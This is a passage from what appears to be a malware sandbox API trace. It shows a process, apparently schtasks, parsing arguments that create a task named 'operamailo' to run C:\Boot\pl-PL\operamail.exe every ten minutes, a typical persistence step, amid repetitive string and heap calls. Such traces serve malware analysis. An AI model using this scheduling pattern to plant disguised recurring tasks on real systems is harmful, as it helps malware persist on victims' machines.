(_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.364] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|showsid|") returned 9 [0135.364] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tn|") returned 4 [0135.365] lstrlenW (lpString="|showsid|") returned 9 [0135.365] lstrlenW (lpString="|tn|") returned 4 [0135.365] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0135.365] SetLastError (dwErrCode=0x490) [0135.365] SetLastError (dwErrCode=0x490) [0135.365] SetLastError (dwErrCode=0x0) [0135.365] lstrlenW (lpString="/tn") returned 3 [0135.365] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0135.365] SetLastError (dwErrCode=0x490) [0135.365] SetLastError (dwErrCode=0x0) [0135.365] lstrlenW (lpString="/tn") returned 3 [0135.365] GetProcessHeap () returned 0x60000 [0135.365] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7c190 [0135.365] GetProcessHeap () returned 0x60000 [0135.365] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cba0 [0135.365] SetLastError (dwErrCode=0x0) [0135.365] SetLastError (dwErrCode=0x0) [0135.365] lstrlenW (lpString="operamailo") returned 10 [0135.365] lstrlenW (lpString="-/") returned 2 [0135.365] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0135.365] SetLastError (dwErrCode=0x490) [0135.365] SetLastError (dwErrCode=0x490) [0135.365] SetLastError (dwErrCode=0x0) [0135.365] lstrlenW (lpString="operamailo") returned 10 [0135.365] StrChrIW (lpStart="operamailo", wMatch=0x3a) returned 0x0 [0135.365] SetLastError (dwErrCode=0x490) [0135.365] SetLastError (dwErrCode=0x0) [0135.365] lstrlenW (lpString="operamailo") returned 10 [0135.365] GetProcessHeap () returned 0x60000 [0135.365] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x16) returned 0x7d490 [0135.365] GetProcessHeap () returned 0x60000 [0135.365] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cbd0 [0135.365] SetLastError (dwErrCode=0x0) [0135.365] SetLastError (dwErrCode=0x0) [0135.365] lstrlenW (lpString="/sc") returned 3 [0135.365] lstrlenW (lpString="-/") returned 2 [0135.365] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.365] lstrlenW (lpString="?") returned 1 [0135.365] lstrlenW (lpString="?") returned 1 [0135.365] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.366] lstrlenW (lpString="sc") returned 2 [0135.366] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.366] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|?|") returned 3 [0135.366] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|sc|") returned 4 [0135.366] lstrlenW (lpString="|?|") returned 3 [0135.366] lstrlenW (lpString="|sc|") returned 4 [0135.366] SetLastError (dwErrCode=0x490) [0135.366] lstrlenW (lpString="create") returned 6 [0135.366] lstrlenW (lpString="create") returned 6 [0135.366] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.366] lstrlenW (lpString="sc") returned 2 [0135.366] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.366] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|create|") returned 8 [0135.366] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|sc|") returned 4 [0135.366] lstrlenW (lpString="|create|") returned 8 [0135.366] lstrlenW (lpString="|sc|") returned 4 [0135.366] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0135.366] SetLastError (dwErrCode=0x490) [0135.366] lstrlenW (lpString="delete") returned 6 [0135.366] lstrlenW (lpString="delete") returned 6 [0135.366] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.366] lstrlenW (lpString="sc") returned 2 [0135.366] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.366] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|delete|") returned 8 [0135.366] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|sc|") returned 4 [0135.366] lstrlenW (lpString="|delete|") returned 8 [0135.366] lstrlenW (lpString="|sc|") returned 4 [0135.366] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0135.366] SetLastError (dwErrCode=0x490) [0135.366] lstrlenW (lpString="query") returned 5 [0135.366] lstrlenW (lpString="query") returned 5 [0135.366] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.366] lstrlenW (lpString="sc") returned 2 [0135.366] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.367] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|query|") returned 7 [0135.367] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|sc|") returned 4 [0135.367] lstrlenW (lpString="|query|") returned 7 [0135.367] lstrlenW (lpString="|sc|") returned 4 [0135.367] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0135.367] SetLastError (dwErrCode=0x490) [0135.367] lstrlenW (lpString="change") returned 6 [0135.367] lstrlenW (lpString="change") returned 6 [0135.367] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.367] lstrlenW (lpString="sc") returned 2 [0135.367] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.367] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|change|") returned 8 [0135.367] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|sc|") returned 4 [0135.367] lstrlenW (lpString="|change|") returned 8 [0135.367] lstrlenW (lpString="|sc|") returned 4 [0135.367] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0135.367] SetLastError (dwErrCode=0x490) [0135.367] lstrlenW (lpString="run") returned 3 [0135.367] lstrlenW (lpString="run") returned 3 [0135.367] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.367] lstrlenW (lpString="sc") returned 2 [0135.367] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.367] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|run|") returned 5 [0135.367] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|sc|") returned 4 [0135.367] lstrlenW (lpString="|run|") returned 5 [0135.367] lstrlenW (lpString="|sc|") returned 4 [0135.367] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0135.367] SetLastError (dwErrCode=0x490) [0135.367] lstrlenW (lpString="end") returned 3 [0135.367] lstrlenW (lpString="end") returned 3 [0135.367] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.368] lstrlenW (lpString="sc") returned 2 [0135.368] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.368] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|end|") returned 5 [0135.368] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|sc|") returned 4 [0135.368] lstrlenW (lpString="|end|") returned 5 [0135.368] lstrlenW (lpString="|sc|") returned 4 [0135.368] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0135.368] SetLastError (dwErrCode=0x490) [0135.368] lstrlenW (lpString="showsid") returned 7 [0135.368] lstrlenW (lpString="showsid") returned 7 [0135.368] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.368] lstrlenW (lpString="sc") returned 2 [0135.368] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.368] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|showsid|") returned 9 [0135.368] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|sc|") returned 4 [0135.368] lstrlenW (lpString="|showsid|") returned 9 [0135.368] lstrlenW (lpString="|sc|") returned 4 [0135.368] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0135.368] SetLastError (dwErrCode=0x490) [0135.368] SetLastError (dwErrCode=0x490) [0135.368] SetLastError (dwErrCode=0x0) [0135.368] lstrlenW (lpString="/sc") returned 3 [0135.368] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0135.368] SetLastError (dwErrCode=0x490) [0135.368] SetLastError (dwErrCode=0x0) [0135.368] lstrlenW (lpString="/sc") returned 3 [0135.368] GetProcessHeap () returned 0x60000 [0135.368] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7dc60 [0135.368] GetProcessHeap () returned 0x60000 [0135.368] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc00 [0135.368] SetLastError (dwErrCode=0x0) [0135.368] SetLastError (dwErrCode=0x0) [0135.368] lstrlenW (lpString="MINUTE") returned 6 [0135.368] lstrlenW (lpString="-/") returned 2 [0135.369] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0135.369] SetLastError (dwErrCode=0x490) [0135.369] SetLastError (dwErrCode=0x490) [0135.369] SetLastError (dwErrCode=0x0) [0135.369] lstrlenW (lpString="MINUTE") returned 6 [0135.369] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0135.369] SetLastError (dwErrCode=0x490) [0135.369] SetLastError (dwErrCode=0x0) [0135.369] lstrlenW (lpString="MINUTE") returned 6 [0135.369] GetProcessHeap () returned 0x60000 [0135.369] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d4b0 [0135.369] GetProcessHeap () returned 0x60000 [0135.369] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc30 [0135.369] SetLastError (dwErrCode=0x0) [0135.369] SetLastError (dwErrCode=0x0) [0135.369] lstrlenW (lpString="/mo") returned 3 [0135.369] lstrlenW (lpString="-/") returned 2 [0135.369] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.369] lstrlenW (lpString="?") returned 1 [0135.369] lstrlenW (lpString="?") returned 1 [0135.369] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.369] lstrlenW (lpString="mo") returned 2 [0135.369] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.369] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|?|") returned 3 [0135.369] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|mo|") returned 4 [0135.369] lstrlenW (lpString="|?|") returned 3 [0135.369] lstrlenW (lpString="|mo|") returned 4 [0135.370] SetLastError (dwErrCode=0x490) [0135.370] lstrlenW (lpString="create") returned 6 [0135.370] lstrlenW (lpString="create") returned 6 [0135.370] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.370] lstrlenW (lpString="mo") returned 2 [0135.370] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.370] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|create|") returned 8 [0135.370] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|mo|") returned 4 [0135.370] lstrlenW (lpString="|create|") returned 8 [0135.370] lstrlenW (lpString="|mo|") returned 4 [0135.370] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0135.370] SetLastError (dwErrCode=0x490) [0135.370] lstrlenW (lpString="delete") returned 6 [0135.370] lstrlenW (lpString="delete") returned 6 [0135.370] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.370] lstrlenW (lpString="mo") returned 2 [0135.370] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.370] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|delete|") returned 8 [0135.370] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|mo|") returned 4 [0135.370] lstrlenW (lpString="|delete|") returned 8 [0135.370] lstrlenW (lpString="|mo|") returned 4 [0135.370] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0135.370] SetLastError (dwErrCode=0x490) [0135.370] lstrlenW (lpString="query") returned 5 [0135.370] lstrlenW (lpString="query") returned 5 [0135.370] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.370] lstrlenW (lpString="mo") returned 2 [0135.370] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.370] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|query|") returned 7 [0135.370] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|mo|") returned 4 [0135.370] lstrlenW (lpString="|query|") returned 7 [0135.370] lstrlenW (lpString="|mo|") returned 4 [0135.370] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0135.370] SetLastError (dwErrCode=0x490) [0135.371] lstrlenW (lpString="change") returned 6 [0135.371] lstrlenW (lpString="change") returned 6 [0135.371] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.371] lstrlenW (lpString="mo") returned 2 [0135.371] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.371] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|change|") returned 8 [0135.371] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|mo|") returned 4 [0135.371] lstrlenW (lpString="|change|") returned 8 [0135.371] lstrlenW (lpString="|mo|") returned 4 [0135.371] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0135.371] SetLastError (dwErrCode=0x490) [0135.371] lstrlenW (lpString="run") returned 3 [0135.371] lstrlenW (lpString="run") returned 3 [0135.371] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.371] lstrlenW (lpString="mo") returned 2 [0135.371] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.371] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|run|") returned 5 [0135.371] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|mo|") returned 4 [0135.371] lstrlenW (lpString="|run|") returned 5 [0135.371] lstrlenW (lpString="|mo|") returned 4 [0135.371] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0135.371] SetLastError (dwErrCode=0x490) [0135.371] lstrlenW (lpString="end") returned 3 [0135.371] lstrlenW (lpString="end") returned 3 [0135.371] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.371] lstrlenW (lpString="mo") returned 2 [0135.371] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.371] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|end|") returned 5 [0135.371] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|mo|") returned 4 [0135.371] lstrlenW (lpString="|end|") returned 5 [0135.371] lstrlenW (lpString="|mo|") returned 4 [0135.371] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0135.371] SetLastError (dwErrCode=0x490) [0135.371] lstrlenW (lpString="showsid") returned 7 [0135.372] lstrlenW (lpString="showsid") returned 7 [0135.372] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.372] lstrlenW (lpString="mo") returned 2 [0135.372] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.372] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|showsid|") returned 9 [0135.372] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|mo|") returned 4 [0135.372] lstrlenW (lpString="|showsid|") returned 9 [0135.372] lstrlenW (lpString="|mo|") returned 4 [0135.372] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0135.372] SetLastError (dwErrCode=0x490) [0135.372] SetLastError (dwErrCode=0x490) [0135.372] SetLastError (dwErrCode=0x0) [0135.372] lstrlenW (lpString="/mo") returned 3 [0135.372] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0135.372] SetLastError (dwErrCode=0x490) [0135.372] SetLastError (dwErrCode=0x0) [0135.372] lstrlenW (lpString="/mo") returned 3 [0135.372] GetProcessHeap () returned 0x60000 [0135.372] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7dc80 [0135.372] GetProcessHeap () returned 0x60000 [0135.372] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc60 [0135.372] SetLastError (dwErrCode=0x0) [0135.372] SetLastError (dwErrCode=0x0) [0135.372] lstrlenW (lpString="10") returned 2 [0135.372] lstrlenW (lpString="-/") returned 2 [0135.372] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0135.372] SetLastError (dwErrCode=0x490) [0135.372] SetLastError (dwErrCode=0x490) [0135.372] SetLastError (dwErrCode=0x0) [0135.372] lstrlenW (lpString="10") returned 2 [0135.372] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0135.373] SetLastError (dwErrCode=0x490) [0135.373] SetLastError (dwErrCode=0x0) [0135.373] lstrlenW (lpString="10") returned 2 [0135.373] GetProcessHeap () returned 0x60000 [0135.373] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x6) returned 0x7dca0 [0135.373] GetProcessHeap () returned 0x60000 [0135.373] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cc90 [0135.373] SetLastError (dwErrCode=0x0) [0135.373] SetLastError (dwErrCode=0x0) [0135.373] lstrlenW (lpString="/tr") returned 3 [0135.373] lstrlenW (lpString="-/") returned 2 [0135.373] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.373] lstrlenW (lpString="?") returned 1 [0135.373] lstrlenW (lpString="?") returned 1 [0135.373] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.373] lstrlenW (lpString="tr") returned 2 [0135.373] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.373] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|?|") returned 3 [0135.373] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tr|") returned 4 [0135.373] lstrlenW (lpString="|?|") returned 3 [0135.373] lstrlenW (lpString="|tr|") returned 4 [0135.373] SetLastError (dwErrCode=0x490) [0135.373] lstrlenW (lpString="create") returned 6 [0135.373] lstrlenW (lpString="create") returned 6 [0135.373] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.373] lstrlenW (lpString="tr") returned 2 [0135.373] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.373] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|create|") returned 8 [0135.373] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tr|") returned 4 [0135.373] lstrlenW (lpString="|create|") returned 8 [0135.373] lstrlenW (lpString="|tr|") returned 4 [0135.373] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0135.373] SetLastError (dwErrCode=0x490) [0135.374] lstrlenW (lpString="delete") returned 6 [0135.374] lstrlenW (lpString="delete") returned 6 [0135.374] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.374] lstrlenW (lpString="tr") returned 2 [0135.374] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.374] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|delete|") returned 8 [0135.374] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tr|") returned 4 [0135.374] lstrlenW (lpString="|delete|") returned 8 [0135.374] lstrlenW (lpString="|tr|") returned 4 [0135.374] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0135.374] SetLastError (dwErrCode=0x490) [0135.374] lstrlenW (lpString="query") returned 5 [0135.374] lstrlenW (lpString="query") returned 5 [0135.374] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.374] lstrlenW (lpString="tr") returned 2 [0135.374] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.374] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|query|") returned 7 [0135.374] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tr|") returned 4 [0135.374] lstrlenW (lpString="|query|") returned 7 [0135.374] lstrlenW (lpString="|tr|") returned 4 [0135.374] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0135.374] SetLastError (dwErrCode=0x490) [0135.374] lstrlenW (lpString="change") returned 6 [0135.374] lstrlenW (lpString="change") returned 6 [0135.374] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.374] lstrlenW (lpString="tr") returned 2 [0135.374] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.374] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|change|") returned 8 [0135.374] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tr|") returned 4 [0135.374] lstrlenW (lpString="|change|") returned 8 [0135.374] lstrlenW (lpString="|tr|") returned 4 [0135.375] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0135.375] SetLastError (dwErrCode=0x490) [0135.375] lstrlenW (lpString="run") returned 3 [0135.375] lstrlenW (lpString="run") returned 3 [0135.375] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.375] lstrlenW (lpString="tr") returned 2 [0135.375] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.375] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|run|") returned 5 [0135.375] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tr|") returned 4 [0135.375] lstrlenW (lpString="|run|") returned 5 [0135.375] lstrlenW (lpString="|tr|") returned 4 [0135.375] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0135.375] SetLastError (dwErrCode=0x490) [0135.375] lstrlenW (lpString="end") returned 3 [0135.375] lstrlenW (lpString="end") returned 3 [0135.375] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.375] lstrlenW (lpString="tr") returned 2 [0135.375] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.375] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|end|") returned 5 [0135.375] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tr|") returned 4 [0135.375] lstrlenW (lpString="|end|") returned 5 [0135.375] lstrlenW (lpString="|tr|") returned 4 [0135.375] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0135.375] SetLastError (dwErrCode=0x490) [0135.375] lstrlenW (lpString="showsid") returned 7 [0135.375] lstrlenW (lpString="showsid") returned 7 [0135.375] _memicmp (_Buf1=0x7c170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.375] lstrlenW (lpString="tr") returned 2 [0135.375] _memicmp (_Buf1=0x7c1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.375] _vsnwprintf (in: _Buffer=0x7c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|showsid|") returned 9 [0135.375] _vsnwprintf (in: _Buffer=0x7c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0f8 | out: _Buffer="|tr|") returned 4 [0135.375] lstrlenW (lpString="|showsid|") returned 9 [0135.375] lstrlenW (lpString="|tr|") returned 4 [0135.376] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0135.376] SetLastError (dwErrCode=0x490) [0135.376] SetLastError (dwErrCode=0x490) [0135.376] SetLastError (dwErrCode=0x0) [0135.376] lstrlenW (lpString="/tr") returned 3 [0135.376] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0135.376] SetLastError (dwErrCode=0x490) [0135.376] SetLastError (dwErrCode=0x0) [0135.376] lstrlenW (lpString="/tr") returned 3 [0135.376] GetProcessHeap () returned 0x60000 [0135.376] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7dcc0 [0135.376] GetProcessHeap () returned 0x60000 [0135.376] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ccc0 [0135.376] SetLastError (dwErrCode=0x0) [0135.376] SetLastError (dwErrCode=0x0) [0135.376] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.376] lstrlenW (lpString="-/") returned 2 [0135.376] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0135.377] SetLastError (dwErrCode=0x490) [0135.377] SetLastError (dwErrCode=0x490) [0135.377] SetLastError (dwErrCode=0x0) [0135.377] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.377] StrChrIW (lpStart="'C:\\Boot\\pl-PL\\operamail.exe'", wMatch=0x3a) returned=":\\Boot\\pl-PL\\operamail.exe'" [0135.377] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 